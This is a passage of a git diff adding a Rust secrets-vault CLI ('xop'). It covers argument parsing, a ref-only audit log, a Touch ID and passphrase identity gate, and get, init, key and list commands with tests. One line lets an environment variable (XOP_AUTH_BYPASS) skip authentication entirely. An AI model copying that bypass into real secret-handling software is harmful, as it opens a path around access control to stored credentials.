deny_read: Vec, + pub on_leak: LeakAction, + pub mask_pattern: Vec, + pub dry_run: bool, + pub audit: Option, + pub no_color: bool, + pub command: Vec, + /// Refs discovered by scanning `command` for `xop://KEY` placeholders. + /// Resolved alongside `--secret` refs in a single vault open; consumed + /// by `injector::scrub_argv` instead of `build_envp_delta`. + pub argv_placeholders: Vec, +} + +impl ExecArgs { + /// Collect all refs from `--secret` flags + `--secrets-file` + argv + /// placeholders. All three go through the same single vault open. + pub fn collect_refs(&self) -> crate::Result> { + let mut refs = Vec::new(); + + for s in &self.secrets { + refs.push(SecretRef::parse(s)?); + } + + if let Some(path) = &self.secrets_file { + let content = std::fs::read_to_string(path).map_err(|e| { + crate::XopError::SecretsFileRead(path.display().to_string(), e.to_string()) + })?; + for (lineno, line) in content.lines().enumerate() { + let line = line.trim(); + if line.is_empty() || line.starts_with('#') { + continue; + } + let kv = line.split_once('=').ok_or_else(|| { + crate::XopError::SecretsFileParse( + path.display().to_string(), + lineno + 1, + format!("expected KEY=NAME, got: {line}"), + ) + })?; + let key = kv.0.trim().to_string(); + let name = kv.1.trim().trim_matches('"').trim_matches('\'').to_string(); + let r = SecretRef::parse(&format!("{key}={name}"))?; + refs.push(r); + } + } + + // Argv placeholders (already SecretRef-form by construction). + refs.extend(self.argv_placeholders.iter().cloned()); + + Ok(refs) + } + + /// Effective audit path, honoring --audit flag and falling back to default. + pub fn audit_path(&self) -> PathBuf { + self.audit.clone().unwrap_or_else(|| { + let mut p = dirs_xop_home(); + p.push("audit.jsonl"); + p + }) + } + + /// Ensure the command is non-empty. + pub fn validate(&self) -> crate::Result<()> { + if self.command.is_empty() { + return Err(crate::XopError::Usage("no command given".into())); + } + Ok(()) + } +} + +/// `~/.xop/` — used as default audit dir + vault dir. +pub fn dirs_xop_home() -> PathBuf { + let home = std::env::var_os("HOME") + .map(PathBuf::from) + .unwrap_or_else(|| PathBuf::from("/tmp")); + let mut p = home; + p.push(".xop"); + p +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parse_init_subcommand() { + let args = Args::parse_from(["xop", "init"]); + assert!(matches!(args.subcmd, Some(Subcmd::Init))); + } + + #[test] + fn parse_set_subcommand() { + let args = Args::parse_from(["xop", "set", "DB_PASS"]); + match args.subcmd { + Some(Subcmd::Set { key, force }) => { + assert_eq!(key, "DB_PASS"); + assert!(!force); + } + _ => panic!("expected Set"), + } + } + + #[test] + fn parse_get_default_is_masked() { + let args = Args::parse_from(["xop", "get", "DB_PASS"]); + match args.subcmd { + Some(Subcmd::Get { key, value }) => { + assert_eq!(key, "DB_PASS"); + assert!(!value, "default must be masked"); + } + _ => panic!("expected Get"), + } + } + + #[test] + fn parse_get_dash_v_sets_plaintext() { + let args = Args::parse_from(["xop", "get", "DB_PASS", "-v"]); + match args.subcmd { + Some(Subcmd::Get { key: _, value }) => assert!(value), + _ => panic!("expected Get"), + } + let args = Args::parse_from(["xop", "get", "DB_PASS", "--value"]); + match args.subcmd { + Some(Subcmd::Get { value, .. }) => assert!(value), + _ => panic!("expected Get"), + } + } + + #[test] + fn parse_exec_with_command() { + let args = Args::parse_from([ + "xop", + "--secret", + "FOO=db_pass", + "--allow-net=db.local:5432", + "--deny-net=*", + "--", + "echo", + "hi", + ]); + assert!(args.subcmd.is_none()); + let exec = args.as_exec(); + assert_eq!(exec.secrets, vec!["FOO=db_pass"]); + assert_eq!(exec.allow_net, vec!["db.local:5432"]); + assert_eq!(exec.deny_net, vec!["*"]); + assert_eq!(exec.command, vec!["echo", "hi"]); + } + + #[test] + fn parse_no_args_subcmd_is_none() { + let args = Args::parse_from(["xop"]); + assert!(args.subcmd.is_none()); + } + + #[test] + fn on_leak_default_is_mask() { + let args = Args::parse_from(["xop", "--", "true"]); + assert!(matches!(args.on_leak, LeakAction::Mask)); + } + + #[test] + fn collect_refs_from_flag() { + let args = Args::parse_from(["xop", "--secret", "A=db_a", "--secret", "B=db_b", "--", "true"]); + let exec = args.as_exec(); + let refs = exec.collect_refs().unwrap(); + assert_eq!(refs.len(), 2); + assert_eq!(refs[0].key, "A"); + assert_eq!(refs[0].name, "db_a"); + } +} \ No newline at end of file diff --git a/src/audit.rs b/src/audit.rs new file mode 100644 index 0000000..7fa52f3 --- /dev/null +++ b/src/audit.rs @@ -0,0 +1,212 @@ +//! Ref-only audit log (JSONL). +//! +//! **Invariant (I2):** no `value`, `plaintext`, `ciphertext`, or `passphrase` +//! field exists in any event. `secrecy::Secret` never crosses this boundary — +//! only refs, names, and metadata. + +use crate::args::ExecArgs; +#[cfg(test)] +use crate::args::Args; +use crate::error::{Result, XopError}; +use crate::policy::Policy; +use crate::secret::SecretRef; +use chrono::Utc; +use std::fs::OpenOptions; +use std::io::{BufWriter, Write}; +use std::path::Path; + +pub struct AuditLog { + writer: BufWriter, +} + +impl AuditLog { + pub fn open(path: impl AsRef) -> Result { + Self::new(path) + } + + pub fn new(path: impl AsRef) -> Result { + let path = path.as_ref(); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).map_err(|e| { + XopError::AuditOpen(path.display().to_string(), e.to_string()) + })?; + } + let f = OpenOptions::new() + .create(true) + .append(true) + .open(path) + .map_err(|e| XopError::AuditOpen(path.display().to_string(), e.to_string()))?; + Ok(Self { + writer: BufWriter::new(f), + }) + } + + pub fn spawn_event( + &mut self, + refs: &[SecretRef], + pol: &Policy, + args: &ExecArgs, + ) -> Result<()> { + let ev = serde_json::json!({ + "ts": Utc::now().to_rfc3339(), + "event": "spawn", + "refs": refs.iter().map(|r| format!("{}={}", r.key, r.name)).collect::>(), + "policy_hash": pol.hash(), + "child_argv": args.command, + "net_allow": pol.net.allow, + "net_deny": pol.net.deny, + "leak_action": format!("{:?}", args.on_leak), + }); + self.write_event(&ev) + } + + pub fn leak_event(&mut self, ref_str: &str, action: &str, bytes_replaced: usize) -> Result<()> { + let ev = serde_json::json!({ + "ts": Utc::now().to_rfc3339(), + "event": "stdout_mask", + "ref": ref_str, + "action": action, + "bytes_replaced": bytes_replaced, + }); + self.write_event(&ev) + } + + pub fn exit_event(&mut self, exit_code: i32) -> Result<()> { + let ev = serde_json::json!({ + "ts": Utc::now().to_rfc3339(), + "event": "exit", + "exit_code": exit_code, + }); + self.write_event(&ev) + } + + // ─── Vault events (v0.2) ───────────────────────────────────────────── + + pub fn vault_init(&mut self, path: &str) -> Result<()> { + let ev = serde_json::json!({ + "ts": Utc::now().to_rfc3339(), + "event": "vault_init", + "path": path, + }); + self.write_event(&ev) + } + + pub fn vault_set(&mut self, name: &str) -> Result<()> { + let ev = serde_json::json!({ + "ts": Utc::now().to_rfc3339(), + "event": "vault_set", + "name": name, + }); + self.write_event(&ev) + } + + pub fn vault_get(&mut self, name: &str, ok: bool) -> Result<()> { + let ev = serde_json::json!({ + "ts": Utc::now().to_rfc3339(), + "event": "vault_get", + "name": name, + "ok": ok, + }); + self.write_event(&ev) + } + + pub fn vault_list(&mut self) -> Result<()> { + let ev = serde_json::json!({ + "ts": Utc::now().to_rfc3339(), + "event": "vault_list", + }); + self.write_event(&ev) + } + + pub fn vault_rm(&mut self, name: &str) -> Result<()> { + let ev = serde_json::json!({ + "ts": Utc::now().to_rfc3339(), + "event": "vault_rm", + "name": name, + }); + self.write_event(&ev) + } + + pub fn vault_unlock(&mut self, auth_kind: &str, success: bool) -> Result<()> { + let ev = serde_json::json!({ + "ts": Utc::now().to_rfc3339(), + "event": "vault_unlock", + "auth": auth_kind, + "success": success, + }); + self.write_event(&ev) + } + + // ─── Internal ──────────────────────────────────────────────────────── + + fn write_event(&mut self, ev: &serde_json::Value) -> Result<()> { + serde_json::to_writer(&mut self.writer, ev)?; + self.writer.write_all(b"\n")?; + self.writer.flush()?; + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::policy::Policy; + use clap::Parser; + use tempfile::NamedTempFile; + + #[test] + fn audit_writes_jsonl() { + let tmp = NamedTempFile::new().unwrap(); + let path = tmp.path().to_path_buf(); + let mut log = AuditLog::new(&path).unwrap(); + + log.exit_event(0).unwrap(); + + let content = std::fs::read_to_string(&path).unwrap(); + assert!(content.contains("\"event\":\"exit\"")); + assert!(content.contains("\"exit_code\":0")); + } + + /// Critical invariant test: no event has `value`/`passphrase`/`plaintext`/`ciphertext`. + #[test] + fn no_value_field_in_any_event() { + let tmp = NamedTempFile::new().unwrap(); + let path = tmp.path().to_path_buf(); + let mut log = AuditLog::new(&path).unwrap(); + + let refs: Vec = vec![SecretRef::parse("FOO=db_pass").unwrap()]; + let args = Args::parse_from(["xop", "--secret", "FOO=db_pass", "--", "true"]); + let exec = args.as_exec(); + log.spawn_event(&refs, &Policy::default(), &exec).unwrap(); + log.leak_event("FOO=db_pass", "masked", 11).unwrap(); + log.exit_event(0).unwrap(); + + // v0.2 vault events + log.vault_init("/home/x/.xop/key.db").unwrap(); + log.vault_set("DB_PASS").unwrap(); + log.vault_get("DB_PASS", true).unwrap(); + log.vault_list().unwrap(); + log.vault_rm("DB_PASS").unwrap(); + log.vault_unlock("touchid", true).unwrap(); + + let content = std::fs::read_to_string(&path).unwrap(); + for line in content.lines() { + for forbidden in ["\"value\":", "\"plaintext\":", "\"ciphertext\":", "\"passphrase\":"] { + assert!( + !line.contains(forbidden), + "audit log line contains forbidden {forbidden} field: {line}" + ); + } + } + } +} + +impl Default for Policy { + fn default() -> Self { + Self { + net: crate::policy::NetPolicy::default(), + read: crate::policy::ReadPolicy::default(), + leak: crate::args::LeakAction::Mask, + } + } +} \ No newline at end of file diff --git a/src/auth/mod.rs b/src/auth/mod.rs new file mode 100644 index 0000000..9126143 --- /dev/null +++ b/src/auth/mod.rs @@ -0,0 +1,199 @@ +//! OS-level identity gate (who is calling xop) — NOT a password layer. +//! +//! Hard rules from the user (2026-10-02, twice revised after live tests): +//! 1. Local interactive TTY with biometrics → show the REAL fingerprint +//! prompt (LAContext, biometrics-only). Pass → the operation proceeds with +//! NO password typing (the 0600 keyring supplies the vault key). +//! 2. The user CANCELLING the fingerprint dialog must actually cancel the +//! operation (exit 77). Silent degradation on cancel was a bug. +//! 3. **Never** prompt the macOS/Linux SYSTEM login password. The old +//! osascript `with administrator privileges` dialog and Linux pkexec are +//! removed for this reason. +//! 4. An **SSH session** must NOT try biometrics — the Touch ID window would +//! appear on the physical console while the user sits in a remote +//! terminal. Neither must it silently pass via keyring: no fingerprint +//! was verified here, so the **xop passphrase** ("管理员密码") is +//! required. Same for a local machine with no usable biometrics +//! (not enrolled / lockout / no passcode). ← live-test complaint 2026-10-02b +//! 5. Headless/non-TTY (agent/pipe/CI/`ssh host cmd` without pty) → the gate +//! is skipped and the keyring may unlock silently. This is the automation +//! path `xop run` needs. +//! +//! So the keyring silent-unlock is allowed only when identity is *proven* +//! (biometric just passed) or *structurally implied* (current OS session / +//! automation context). Where neither holds, `Vault::open` must prompt for +//! the xop passphrase even if a keyring exists. + +use crate::error::{Result, XopError}; + +/// Where the OS gate leaves the caller w.r.t. the unlock secret. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Gate { + /// Identity proven (biometric verified) or automation context (headless). + /// A silent keyring unlock is permitted. + AllowKeyring, + /// Interactive but biometrically unproven (SSH session, no enrolled + /// biometrics, broken osascript). The caller MUST prompt for the xop + /// passphrase — the keyring must not be consulted. + RequirePassphrase, +} + +/// Biometric attempt result, normalized away from the macOS `Outcome`. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Bio { + Verified, + Unavailable, + Cancelled, +} + +/// Pure decision table — everything that makes unlock decisions goes here, +/// so it is testable without env mutation, TTYs, or osascript. +pub fn decide(tty: bool, ssh: bool, bio: Option) -> Result { + if !tty { + // No interactive terminal at all: agent/pipe/CI, or `ssh host cmd` + // without pty. Nobody to scan a finger, nobody to type anything. + return Ok(Gate::AllowKeyring); + } + if ssh { + // Interactive REMOTE session. A biometric prompt would land on the + // local console (wrong screen) — never attempt it here. Identity must + // come from the xop passphrase instead of the keyring. + return Ok(Gate::RequirePassphrase); + } + match bio { + Some(Bio::Verified) => Ok(Gate::AllowKeyring), + // No usable biometrics, or osascript itself broken → fail + // conservative: ask for the passphrase. (Was: silently continue and + // let the keyring unlock — identity was never checked.) + Some(Bio::Unavailable) | None => Ok(Gate::RequirePassphrase), + // Explicit refusal must abort. + Some(Bio::Cancelled) => Err(XopError::AuthCancelled), + } +} + +/// Does this process run inside an SSH session? sshd exports SSH_TTY for +/// pty logins and SSH_CONNECTION / SSH_CLIENT for non-pty command +/// executions alike. Local GUI Terminal.app sessions never have them. +fn ssh_session() -> bool { + ["SSH_TTY", "SSH_CONNECTION", "SSH_CLIENT"] + .iter() + .any(|k| std::env::var_os(k).is_some_and(|v| !v.is_empty())) +} + +/// macOS: real Touch ID prompt via LAContext (JXA). Linux: no biometric gate +/// exists (system-password prompts are forbidden), so interactive sessions +/// require the passphrase. Returns the [`Gate`] that tells `Vault::open` +/// whether the keyring may unlock silently. +pub async fn authenticate(reason: &str) -> Result { + // Test/CI bypass: env var XOP_AUTH_BYPASS=1 skips the OS gate entirely. + if std::env::var_os("XOP_AUTH_BYPASS").is_some() { + tracing::warn!("XOP_AUTH_BYPASS set — skipping biometric gate"); + return Ok(Gate::AllowKeyring); + } + + use std::io::IsTerminal; + let tty = std::io::stdin().is_terminal(); + let ssh = ssh_session(); + + let bio = if tty && !ssh { + #[cfg(target_os = "macos")] + { + match touchid::evaluate(reason) { + Ok(touchid::Outcome::Verified) => Some(Bio::Verified), + Ok(touchid::Outcome::Unavailable(code)) => { + tracing::warn!( + code, + "no usable biometrics on this device/session — xop passphrase required (never the system password)" + ); + Some(Bio::Unavailable) + } + Ok(touchid::Outcome::Cancelled(code)) => { + tracing::warn!("biometric cancelled (LAError {code}) — refusing operation"); + Some(Bio::Cancelled) + } + Err(e) => { + // osascript itself broken (missing binary / JXA error). + // Cannot prove identity → conservative passphrase path. + tracing::warn!("biometric check could not run ({e}); requiring xop passphrase"); + None + } + } + } + #[cfg(not(target_os = "macos"))] + { + // Linux: no portable fingerprint-only CLI gate, and a + // system-password prompt (pkexec) is forbidden by the user's + // red line → identity here can only be the xop passphrase. + let _ = reason; + tracing::debug!("linux interactive session — xop passphrase required (no system password gate by design)"); + None + } + } else { + None + }; + + decide(tty, ssh, bio) +} + +// ─── Platform impls ────────────────────────────────────────────────────────── + +#[cfg(target_os = "macos")] +mod touchid; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn headless_automation_allows_keyring() { + // agent / pipe / CI / ssh-without-pty: no TTY → keyring silent OK. + assert_eq!(decide(false, false, None).unwrap(), Gate::AllowKeyring); + assert_eq!(decide(false, true, None).unwrap(), Gate::AllowKeyring); + } + + #[test] + fn ssh_interactive_never_biometric_never_keyring() { + // The live-test bug: SSH pty session must NOT prompt fingerprint and + // must NOT silently pass keyring — passphrase required. Even if a + // biometric result were somehow available, ssh short-circuits first. + assert_eq!( + decide(true, true, Some(Bio::Verified)).unwrap(), + Gate::RequirePassphrase + ); + assert_eq!( + decide(true, true, None).unwrap(), + Gate::RequirePassphrase + ); + } + + #[test] + fn local_biometric_verified_allows_keyring() { + assert_eq!( + decide(true, false, Some(Bio::Verified)).unwrap(), + Gate::AllowKeyring + ); + } + + #[test] + fn local_without_biometrics_requires_passphrase() { + // Not enrolled / lockout / no passcode / broken osascript → ask the + // user for the xop passphrase. (v0.2.1-old behavior silently used the + // keyring here — identity was never checked.) + assert_eq!( + decide(true, false, Some(Bio::Unavailable)).unwrap(), + Gate::RequirePassphrase + ); + assert_eq!( + decide(true, false, None).unwrap(), + Gate::RequirePassphrase + ); + } + + #[test] + fn cancelled_biometric_aborts() { + assert!(matches!( + decide(true, false, Some(Bio::Cancelled)), + Err(XopError::AuthCancelled) + )); + } +} diff --git a/src/auth/touchid.rs b/src/auth/touchid.rs new file mode 100644 index 0000000..bb84fbe --- /dev/null +++ b/src/auth/touchid.rs @@ -0,0 +1,193 @@ +//! macOS Touch ID — REAL biometric via LocalAuthentication, not the admin +//! password dialog. +//! +//! History (2026-10-02, user live test): the previous implementation ran +//! `osascript -e 'do shell script "true" with administrator privileges'`. +//! That is NOT Touch ID — it is the SYSTEM-LOGIN-PASSWORD prompt (biometrics +//! optional, and cancellable). Worse, `auth/mod.rs` treated any failure as +//! "Touch ID unavailable" and let the operation proceed silently. Both are +//! fixed here: +//! +//! * We call `LAContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)` +//! through `osascript -l JavaScript` (JXA). The ObjC bridge auto-converts +//! the JS function into the reply block; we spin the main NSRunLoop until +//! the block fires. No password field ever appears — biometrics-only. +//! * The reply error code is classified (see `classify`): +//! - success → `Verified` (no passphrase typing if a +//! keyring exists — the user's "指纹通过就 +//! 不需要输入密码") +//! - biometry absent / no passcode / not enrolled / lockout / no GUI +//! → `Unavailable` (fall through to the XOP +//! passphrase path; NEVER the system password) +//! - user cancel / fallback tap / system cancel / unknown +//! → `Cancelled` (hard reject, exit 77 — +//! cancelling must actually cancel) +//! +//! Why JXA and not a Rust LAContext binding: the objc2 crate family has no +//! `LocalAuthentication` framework, and hand-rolled msgSend + blocks is +//! exactly the unsafe surface we avoid. `osascript -l JavaScript` is present +//! on every macOS, needs no CLT, and the runloop-spin-with-callback pattern +//! is the documented JXA idiom (same shape as NSURLSession completion +//! handlers). + +use crate::error::{Result, XopError}; +use std::process::Stdio as StdStdio; + +/// Outcome of the biometric evaluation. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Outcome { + /// Biometric verified. + Verified, + /// No usable biometrics on this machine/session → caller continues with + /// the xop passphrase path. + Unavailable(i64), + /// The user (or system) refused → caller MUST abort the operation. + Cancelled(i64), +} + +/// LAContext error codes (LocalAuthentication.h): +/// ```text +/// -1 AuthenticationContextFailed -6 AuthenticationTypeNotAvailable +/// -7 BiometryNotAvailable -8 PasscodeNotSet +/// -9 DeviceNotLocked -10 BiometryLockout +/// -11 BiometryNotEnrolled -12 UserFallback (tapped "Enter Password") +/// -5 SystemCancel -128 UserCancel +/// -1008 NotInteractive (no GUI session) +/// ``` +pub fn classify(code: i64, ok: bool) -> Outcome { + if ok { + return Outcome::Verified; + } + match code { + // device/session simply has no usable biometrics → passphrase path + -1 | -6 | -7 | -8 | -10 | -11 | -1008 => Outcome::Unavailable(code), + // explicit refusal, or anything we don't understand → fail closed + -128 | -5 | -12 => Outcome::Cancelled(code), + _ => Outcome::Cancelled(code), + } +} + +/// The JXA program. `run(argv[0])` = localized reason. Prints +/// `XOPOK ` or `XOPNO `. Policy 1 = +/// LAPolicyDeviceOwnerAuthenticationWithBiometrics (enum may not bridge by +/// name in JXA, numeric is stable). +pub const JXA_SCRIPT: &str = r#" +ObjC.import('LocalAuthentication'); +ObjC.import('Foundation'); +function run(argv) { + var reason = (argv && argv.length) ? argv[0] : 'xop unlock'; + var ctx = $.LAContext.alloc.init; + var st = { done: false, ok: false, code: 0 }; + // evaluatePolicy:localizedReason:reply: — JXA auto-converts the JS function + // into the reply block. Reply arrives on a private queue; st fields are set + // when the block bridges back through the JS engine. + ctx.evaluatePolicyLocalizedReasonReply(1, reason, function (ok, err) { + st.ok = ok; + st.code = (err && !err.isNil()) ? err.code : (ok ? 0 : -1); + st.done = true; + }); + // Spin the main runloop until the callback has fired. + while (!st.done) { + $.NSRunLoop.currentRunLoop.runUntilDate($.NSDate.dateWithTimeIntervalSinceNow(0.2)); + } + return (st.ok ? 'XOPOK ' : 'XOPNO ') + st.code; +} +"#; + +/// Run the biometric evaluation on a real TTY. Returns the classified +/// outcome. `Err` is reserved for "osascript itself is broken" (missing +/// binary / JXA syntax error) — callers degrade that to `Unavailable`-like +/// handling, never to a silent success on a CANCEL (cancel is data, not an +/// error). +pub fn evaluate(reason: &str) -> Result { + let output = std::process::Command::new("/usr/bin/osascript") + .arg("-l") + .arg("JavaScript") + .arg("-e") + .arg(JXA_SCRIPT) + .arg(reason) + .stdin(StdStdio::null()) + .stdout(StdStdio::piped()) + .stderr(StdStdio::piped()) + .output() + .map_err(|e| XopError::TouchId(format!("osascript spawn failed: {e}")))?; + + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr).trim().to_string(); + return Err(XopError::TouchId(if stderr.is_empty() { + "osascript exited nonzero".into() + } else { + stderr + })); + } + + let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string(); + if let Some(rest) = stdout.strip_prefix("XOPOK ") { + let code: i64 = rest + .parse() + .map_err(|_| XopError::TouchId(format!("bad reply {stdout:?}")))?; + Ok(classify(code, true)) + } else if let Some(rest) = stdout.strip_prefix("XOPNO ") { + let code: i64 = rest + .parse() + .map_err(|_| XopError::TouchId(format!("bad reply {stdout:?}")))?; + Ok(classify(code, false)) + } else { + Err(XopError::TouchId(format!("unexpected osascript output {stdout:?}"))) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn ok_flag_is_verified() { + assert_eq!(classify(0, true), Outcome::Verified); + } + + #[test] + fn user_cancel_is_cancelled() { + assert_eq!(classify(-128, false), Outcome::Cancelled(-128)); + } + + #[test] + fn system_cancel_is_cancelled() { + assert_eq!(classify(-5, false), Outcome::Cancelled(-5)); + } + + #[test] + fn password_tap_is_cancelled_not_fallback() { + // LAErrorUserFallback: the user tapped "Enter Password" in the Touch + // ID dialog. xop never takes a system password → treat as refusal. + assert_eq!(classify(-12, false), Outcome::Cancelled(-12)); + } + + #[test] + fn biometry_not_available_is_unavailable() { + assert_eq!(classify(-7, false), Outcome::Unavailable(-7)); + } + + #[test] + fn not_enrolled_lockout_passcode_unset_not_interactive_are_unavailable() { + for c in [-8, -10, -11, -1008, -1, -6] { + assert!(matches!(classify(c, false), Outcome::Unavailable(_)), "code {c}"); + } + } + + #[test] + fn unknown_code_fails_closed() { + assert!(matches!(classify(-9999, false), Outcome::Cancelled(_))); + assert!(matches!(classify(-9, false), Outcome::Cancelled(_))); + assert!(matches!(classify(-14, false), Outcome::Cancelled(_))); + } + + #[test] + fn script_markers_present() { + // Behavioural coverage of the JXA path is the live TTY test (a real + // fingerprint dialog) — asserting here only that the script shape is + // intact. + assert!(JXA_SCRIPT.contains("evaluatePolicyLocalizedReasonReply")); + assert!(JXA_SCRIPT.contains("XOPOK")); + } +} diff --git a/src/commands/get.rs b/src/commands/get.rs new file mode 100644 index 0000000..6db6468 --- /dev/null +++ b/src/commands/get.rs @@ -0,0 +1,45 @@ +//! `xop get KEY` — print a decrypted value, MASKED by default. +//! +//! The mask (first 2 chars + `****【xop禁止将密钥泄漏】`, same format as the +//! stdout leak guard) exists because `xop get` is routinely called by AI +//! agents: an unmasked plaintext on stdout would flow straight into an LLM +//! context / shell history / logs — violating the spirit of invariant I1. +//! Humans who really need to eyeball the value pass `-v/--value`; that path +//! prints plaintext AND a loud stderr warning so it is never mistaken for +//! the default. Agents must never use `-v` — injection (`xop run +//! --secret KEY=NAME`) is the sanctioned way to use a secret. + +use crate::audit::AuditLog; +use crate::error::{Result, XopError}; +use crate::vault; + +pub async fn run(key: &str, verbose: bool) -> Result { + let path = vault::default_path(); + let vault = vault::Vault::open(&path).await?; + + match vault.get(key) { + Some(value) => { + if verbose { + eprintln!( + "⚠ plaintext secret on stdout — 人眼核对专用;AI agent 禁止 -v(值会进入模型上下文),请改用 xop run --secret 注入" + ); + println!("{value}"); + } else { + println!("{}", crate::guard::stdout::masked_replacement(value)); + eprintln!( + "🔒 已脱敏(仅前 2 位可见)。人核对明文:xop get {key} -v(AI agent 不得使用 -v)" + ); + } + + let mut audit = AuditLog::new(crate::args::dirs_xop_home().join("audit.jsonl"))?; + audit.vault_get(key, true)?; + } + None => { + let mut audit = AuditLog::new(crate::args::dirs_xop_home().join("audit.jsonl"))?; + audit.vault_get(key, false)?; + return Err(XopError::KeyNotFound(key.to_string())); + } + } + + Ok(0) +} diff --git a/src/commands/init.rs b/src/commands/init.rs new file mode 100644 index 0000000..8ca6973 --- /dev/null +++ b/src/commands/init.rs @@ -0,0 +1,70 @@ +//! `xop init` — first-run setup. +//! +//! Flow: +//! 1. Check if vault already exists at `~/.xop/key.db` → error if so. +//! 2. Prompt for new passphrase (hidden via `rpassword`). +//! 3. Prompt again to confirm. +//! 4. Generate random salt + nonce, derive key via argon2. +//! 5. Encrypt an empty TOML map, write atomically to `~/.xop/key.db`. +//! 6. Write `~/.xop/keyring` (0600) with the derived key — later unlocks +//! then run OS-gate → keyring, no passphrase typing (agent-friendly). +//! Revoke with `xop key --remove`. +//! 7. Audit event `vault_init` written to `~/.xop/audit.jsonl`. +//! +//! No biometric gate on init — there is nothing to protect yet. +//! NOTE: xop never touches the macOS Keychain (explicit user decision +//! 2026-10-02 — no system dialogs during automation). + +use crate::audit::AuditLog; +use crate::error::{Result, XopError}; +use crate::vault::{self, Vault}; +use std::io::IsTerminal; + +pub async fn run() -> Result { + let path = vault::default_path(); + + if path.exists() { + return Err(XopError::VaultCorrupt(format!( + "vault already exists at {} — refusing to overwrite", + path.display() + ))); + } + + // Confirm we're interactive. CI users without a TTY can use: + // XOP_INIT_NONINTERACTIVE=1 + passphrase 'foo' bar + // ...later. For v0.1 we require TTY. + if !std::io::stdin().is_terminal() && std::env::var_os("XOP_INIT_NONINTERACTIVE").is_none() { + return Err(XopError::Usage( + "`xop init` requires a TTY; set XOP_INIT_NONINTERACTIVE=1 to skip passphrase prompt".into(), + )); + } + + // Open audit log first so we capture init event. + let audit_path = crate::args::dirs_xop_home().join("audit.jsonl"); + let mut audit = AuditLog::new(&audit_path)?; + + // Prompt passphrase ×2 ourselves (create() no longer prompts) so we can + // wipe it explicitly once the vault + keyring are on disk. + let mut passphrase = vault::prompt_new_passphrase()?; + let mut vault = Vault::create(&path, &passphrase).await?; + zeroize::Zeroize::zeroize(&mut passphrase); + vault.save().await?; + audit.vault_init(path.display().to_string().as_str())?; + + println!("Vault created at {}", path.display()); + if vault::keyring::exists() { + println!( + "Unlock key saved to {} (mode 0600) — later unlocks are passphrase-free.", + vault::keyring::path().display() + ); + println!("Revoke anytime: `xop key --remove` (typing the passphrase returns)."); + } + + println!(); + println!("Next steps:"); + println!(" xop set DB_PASS Store a secret (prompts for value)"); + println!(" xop list Enumerate stored keys"); + println!(" xop run --secret ... -- CMD Inject a secret into a child process"); + + Ok(0) +} diff --git a/src/commands/key.rs b/src/commands/key.rs new file mode 100644 index 0000000..ccb0fcd --- /dev/null +++ b/src/commands/key.rs @@ -0,0 +1,71 @@ +//! `xop key` — manage the file-based auto-unlock keyring. +//! +//! The keyring (`~/.xop/keyring`, 0600) holds the argon2-derived vault key. +//! It unlocks silently ONLY where identity is proven or implied: after a +//! successful local Touch ID prompt, or in headless automation (agent/pipe). +//! In an SSH session or on a machine without usable biometrics the gate +//! requires the xop passphrase and the keyring is not consulted at all +//! (user rule 2026-10-02: 无指纹验证的交互场景必须输管理员密码). It is +//! deliberately a plain file, NOT a macOS Keychain item (no system dialogs +//! from automation, ever). +//! +//! - `xop key` → status (exists? mode? which vault?) +//! - `xop key --save` → open the vault (typed passphrase if no keyring, +//! otherwise silent) then write/refresh the keyring +//! - `xop key --remove` → delete the keyring; passphrase typing returns + +use crate::error::{Result, XopError}; +use crate::vault::{self, keyring, Vault}; + +pub async fn run(save: bool, remove: bool) -> Result { + if save && remove { + return Err(XopError::Usage("`xop key --save` and `--remove` are exclusive".into())); + } + + if remove { + if keyring::remove() { + println!("removed: {}", keyring::path().display()); + println!("unlocks now require the vault passphrase again."); + } else { + println!("no keyring at {}", keyring::path().display()); + } + return Ok(0); + } + + if save { + let path = vault::default_path(); + if !path.exists() { + return Err(XopError::VaultNotInitialized); + } + // Vault::open enforces the OS gate + loads or prompts; after that we + // re-save the freshly derived/loaded key (idempotent, fixes perms). + let vault = Vault::open(&path).await?; + keyring::save(vault.key_bytes())?; + println!("saved: {} (mode 0600)", keyring::path().display()); + println!("future unlocks: silent after a local Touch ID success or in headless automation;"); + println!(" SSH sessions always ask for the xop passphrase."); + return Ok(0); + } + + // status + let p = keyring::path(); + if p.exists() { + #[cfg(unix)] + let mode = { + use std::os::unix::fs::PermissionsExt; + std::fs::metadata(&p).map(|m| m.permissions().mode() & 0o777).unwrap_or(0) + }; + #[cfg(not(unix))] + let mode = 0u32; + println!("keyring: {} (mode {:04o})", p.display(), mode); + if mode & 0o077 != 0 { + println!(" ! INSECURE mode — chmod 600 or run `xop key --remove`"); + } else { + println!(" status: auto-unlock ACTIVE (passphrase not required on local biometric / headless unlocks; SSH sessions still ask for it)"); + } + } else { + println!("keyring: none — every unlock asks for the passphrase."); + println!("enable: xop key --save"); + } + Ok(0) +} diff --git a/src/commands/list.rs b/src/commands/list.rs new file mode 100644 index 0000000..a851688 --- /dev/null +++ b/src/commands/list.rs @@ -0,0 +1,27 @@ +//! `xop list` — enumerate key names (no values). + +use crate::audit::AuditLog; +use crate::error::Result; +use crate::vault; + +pub async fn run() -> Result { + let path = vault::default_path(); + let vault = vault::Vault::open(&path).await?; + + let names = vault.list(); + if names.is_empty() { + println!("(no keys stored)"); + } else { + for name in &names { + println!("{name}"); + } + println!(); + println!("({} total)", names.len()); + } + + // Audit (records the list operation but not the names — pre-flight) + let mut audit = AuditLog::new(crate::args::dirs_xop_home().join("audit.jsonl"))?; + audit.vault_list()?; + + Ok(0) +} \ No newline at end of file diff --git a/src/commands/mod.rs b/src/commands/mod.rs new file mode 100644 index 0000000..58ba64c --- /dev/null +++ b/src/commands/mod.rs @@ -0,0 +1,16 @@ +//! Subcommand handlers for `xop init / set / list / get / rm`. +//! +//! Each subcommand is a thin async function that: +//! 1. Authenticates the user (real Touch ID on the local console; SSH and +//! no-biometric sessions must type the xop passphrase. Except `init`). +//! 2. Opens the vault. +//! 3. Performs the operation. +//! 4. Returns a process exit code. + +pub mod 